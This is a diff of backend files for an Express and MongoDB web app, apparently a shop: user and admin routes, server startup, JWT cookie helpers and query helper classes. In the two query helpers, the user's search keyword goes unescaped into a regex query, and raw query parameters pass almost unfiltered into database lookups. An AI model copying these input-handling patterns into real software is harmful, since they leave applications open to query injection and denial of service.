module.exports = router;
|
||||
27
server/routes/userRoute.js
Normal file
@@ -0,0 +1,27 @@
|
||||
const express = require('express');
|
||||
const { registerUser, loginUser, logoutUser, getUserDetails, forgotPassword, resetPassword, updatePassword, updateProfile, getAllUsers, getSingleUser, updateUserRole, deleteUser } = require('../controllers/userController');
|
||||
const { isAuthenticatedUser, authorizeRoles } = require('../middlewares/user_actions/auth');
|
||||
|
||||
const router = express.Router();
|
||||
|
||||
router.route('/register').post(registerUser);
|
||||
router.route('/login').post(loginUser);
|
||||
router.route('/logout').get(logoutUser);
|
||||
|
||||
router.route('/me').get(isAuthenticatedUser, getUserDetails);
|
||||
|
||||
router.route('/password/forgot').post(forgotPassword);
|
||||
router.route('/password/reset/:token').put(resetPassword);
|
||||
|
||||
router.route('/password/update').put(isAuthenticatedUser, updatePassword);
|
||||
|
||||
router.route('/me/update').put(isAuthenticatedUser, updateProfile);
|
||||
|
||||
router.route("/admin/users").get(isAuthenticatedUser, authorizeRoles("admin"), getAllUsers);
|
||||
|
||||
router.route("/admin/user/:id")
|
||||
.get(isAuthenticatedUser, authorizeRoles("admin"), getSingleUser)
|
||||
.put(isAuthenticatedUser, authorizeRoles("admin"), updateUserRole)
|
||||
.delete(isAuthenticatedUser, authorizeRoles("admin"), deleteUser);
|
||||
|
||||
module.exports = router;
|
||||
30
server/server.js
Normal file
@@ -0,0 +1,30 @@
|
||||
const app = require('./app');
|
||||
const connectDatabase = require('./config/database');
|
||||
const cloudinary = require('cloudinary');
|
||||
const PORT = process.env.PORT || 4000;
|
||||
|
||||
// UncaughtException Error
|
||||
process.on('uncaughtException', (err) => {
|
||||
console.log(`Error: ${err.message}`);
|
||||
process.exit(1);
|
||||
});
|
||||
|
||||
// connectDatabase();
|
||||
|
||||
cloudinary.config({
|
||||
cloud_name: process.env.CLOUDINARY_NAME,
|
||||
api_key: process.env.CLOUDINARY_API_KEY,
|
||||
api_secret: process.env.CLOUDINARY_API_SECRET,
|
||||
});
|
||||
|
||||
const server = app.listen(PORT, () => {
|
||||
console.log(`Server running`)
|
||||
});
|
||||
|
||||
// Unhandled Promise Rejection
|
||||
process.on('unhandledRejection', (err) => {
|
||||
console.log(`Error: ${err.message}`);
|
||||
server.close(() => {
|
||||
process.exit(1);
|
||||
});
|
||||
});
|
||||
48
server/utils/apiFeatures.js
Normal file
@@ -0,0 +1,48 @@
|
||||
class APIFeatures {
|
||||
constructor(query, queryStr) {
|
||||
this.query = query;
|
||||
this.queryStr = queryStr;
|
||||
}
|
||||
|
||||
search() {
|
||||
const keyword = this.queryStr.keyword
|
||||
? {
|
||||
name: {
|
||||
$regex: this.queryStr.keyword,
|
||||
$options: "i",
|
||||
},
|
||||
}
|
||||
: {};
|
||||
|
||||
this.query = this.query.find({ ...keyword });
|
||||
return this;
|
||||
}
|
||||
|
||||
filter() {
|
||||
const queryCopy = { ...this.queryStr };
|
||||
|
||||
// Removing fields from the query
|
||||
const removeFields = ["keyword", "limit", "page"];
|
||||
removeFields.forEach((el) => delete queryCopy[el]);
|
||||
|
||||
// Advance filter for price, ratings etc
|
||||
let queryStr = JSON.stringify(queryCopy);
|
||||
queryStr = queryStr.replace(
|
||||
/\b(gt|gte|lt|lte)\b/g,
|
||||
(match) => `$${match}`
|
||||
);
|
||||
|
||||
this.query = this.query.find(JSON.parse(queryStr));
|
||||
return this;
|
||||
}
|
||||
|
||||
pagination(resPerPage) {
|
||||
const currentPage = Number(this.queryStr.page) || 1;
|
||||
const skip = resPerPage * (currentPage - 1);
|
||||
|
||||
this.query = this.query.limit(resPerPage).skip(skip);
|
||||
return this;
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = APIFeatures;
|
||||
10
server/utils/errorHandler.js
Normal file
@@ -0,0 +1,10 @@
|
||||
class ErrorHandler extends Error {
|
||||
constructor(message, statusCode) {
|
||||
super(message);
|
||||
this.statusCode = statusCode
|
||||
|
||||
Error.captureStackTrace(this, this.constructor);
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = ErrorHandler;
|
||||
21
server/utils/jwtToken.js
Normal file
@@ -0,0 +1,21 @@
|
||||
// Create and send token and save in the cookie.
|
||||
const sendToken = (user, statusCode, res) => {
|
||||
// Create Jwt token
|
||||
const token = user.getJwtToken();
|
||||
|
||||
// Options for cookie
|
||||
const options = {
|
||||
expires: new Date(
|
||||
Date.now() + process.env.COOKIE_EXPIRES_TIME * 24 * 60 * 60 * 1000
|
||||
),
|
||||
httpOnly: true,
|
||||
};
|
||||
|
||||
res.status(statusCode).cookie("token", token, options).json({
|
||||
success: true,
|
||||
token,
|
||||
user,
|
||||
});
|
||||
};
|
||||
|
||||
module.exports = sendToken;
|
||||
51
server/utils/searchFeatures.js
Normal file
@@ -0,0 +1,51 @@
|
||||
class SearchFeatures {
|
||||
constructor(query, queryString) {
|
||||
this.query = query
|
||||
this.queryString = queryString
|
||||
}
|
||||
|
||||
search() {
|
||||
const keyword = this.queryString.keyword ? {
|
||||
name: {
|
||||
$regex: this.queryString.keyword,
|
||||
$options: "i",
|
||||
}
|
||||
} : {};
|
||||
|
||||
// console.log(keyword);
|
||||
|
||||
this.query = this.query.find({ ...keyword });
|
||||
return this;
|
||||
}
|
||||
|
||||
filter() {
|
||||
const queryCopy = { ...this.queryString }
|
||||
|
||||
// fields to remove for category
|
||||
const removeFields = ["keyword", "page", "limit"];
|
||||
|
||||
// console.log(queryCopy);
|
||||
removeFields.forEach(key => delete queryCopy[key]);
|
||||
// console.log(queryCopy);
|
||||
|
||||
// price filter
|
||||
let queryString = JSON.stringify(queryCopy);
|
||||
queryString = queryString.replace(/\b(gt|gte|lt|lte)\b/g, key => `$${key}`);
|
||||
|
||||
// console.log(JSON.parse(queryString));
|
||||
|
||||
this.query = this.query.find(JSON.parse(queryString));
|
||||
return this;
|
||||
}
|
||||
|
||||
pagination(resultPerPage) {
|
||||
const currentPage = Number(this.queryString.page) || 1;
|
||||
|
||||
const skipProducts = resultPerPage * (currentPage - 1);
|
||||
|
||||
this.query = this.query.limit(resultPerPage).skip(skipProducts);
|
||||
return this;
|
||||
}
|
||||
};
|
||||
|
||||
module.exports = SearchFeatures;
|
||||
36
server/utils/sendEmail.js
Normal file
@@ -0,0 +1,36 @@
|
||||
// const nodeMailer = require('nodemailer');
|
||||
const sendEmail = async (options) => {
|
||||
|
||||
// const transporter = nodeMailer.createTransport({
|
||||
// host: process.env.SMTP_HOST,
|
||||
// port: process.env.SMTP_PORT,
|
||||
// service: process.env.SMTP_SERVICE,
|
||||
// auth: {
|
||||
// user: process.env.SMTP_MAIL,
|
||||
// pass: process.env.SMTP_PASSWORD,
|
||||
// },
|
||||
// });
|
||||
|
||||
// const mailOptions = {
|
||||
// from: process.env.SMTP_MAIL,
|
||||
// to: options.email,
|
||||
// subject: options.subject,
|
||||
// html: options.message,
|
||||
// };
|
||||
|
||||
// await transporter.sendMail(mailOptions);
|
||||
|
||||
// const msg = {
|
||||
// to: options.email,
|
||||
// from: process.env.SENDGRID_MAIL,
|
||||
// templateId: options.templateId,
|
||||
// dynamic_template_data: options.data,
|
||||
// }
|
||||
// sgMail.send(msg).then(() => {
|
||||
// console.log('Email Sent')
|
||||
// }).catch((error) => {
|
||||
// console.error(error)
|
||||
// });
|
||||
};
|
||||
|
||||
module.exports = sendEmail;
|
||||
18
server/utils/sendToken.js
Normal file
@@ -0,0 +1,18 @@
|
||||
const sendToken = (user, statusCode, res) => {
|
||||
const token = user.getJWTToken();
|
||||
|
||||
const options = {
|
||||
expires: new Date(
|
||||
Date.now() + process.env.COOKIE_EXPIRE * 24 * 60 * 60 * 1000
|
||||
),
|
||||
httpOnly: true
|
||||
}
|
||||
|
||||
res.status(statusCode).cookie('token', token, options).json({
|
||||
success: true,
|
||||
user,
|
||||
token,
|
||||
});
|
||||
}
|
||||
|
||||
module.exports = sendToken;
|
||||